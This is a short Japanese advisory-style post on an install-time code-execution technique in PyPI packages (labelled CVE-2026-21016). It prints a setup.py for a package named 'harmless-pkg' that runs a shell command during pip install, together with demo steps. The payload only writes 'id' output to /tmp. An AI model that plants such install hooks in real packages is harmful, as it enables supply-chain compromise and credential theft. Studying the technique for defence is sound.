CVE-2026-21016 – 悪意のあるPyPIパッケージインストールフック (setup.py の実行)

プログラムコード (Python)

# setup.py - Malicious package that executes during install
from setuptools import setup
import os

# This runs on pip install
os.system('id > /tmp/pwned_by_package')

setup(
    name='harmless-pkg',
    version='1.0',
    packages=[],
)

CVE-2026-21016 – 悪意のあるPyPIパッケージインストールフック (setup.py)

概要

PyPIパッケージは、pip install中に実行される任意のコードをsetup.pyに含めることができます。攻撃者は人気のあるパッケージに似た名前のパッケージを公開し（タイポスクワッティング）、インストール時にペイロードがユーザーの権限で実行され、リモートコード実行につながる可能性があります。

脆弱性の詳細

• タイプ: サプライチェーン攻撃 / コード実行
• 影響: システムの侵害、認証情報の窃取。
• 根本原因: pipはsetup.pyをサンドボックスなしで実行するため、パッケージに完全なアクセス権を与えます。

エクスプロイトのデモ

1. 指定されたsetup.pyを含む悪意のあるパッケージディレクトリを作成します。
2. ローカルにインストールします:
   root@kitploit:~

   pip install ./harmless-pkg
   
   

3. 出力を確認します:
   root@kitploit:~

   cat /tmp/pwned_by_package
   

idコマンドが実行されました。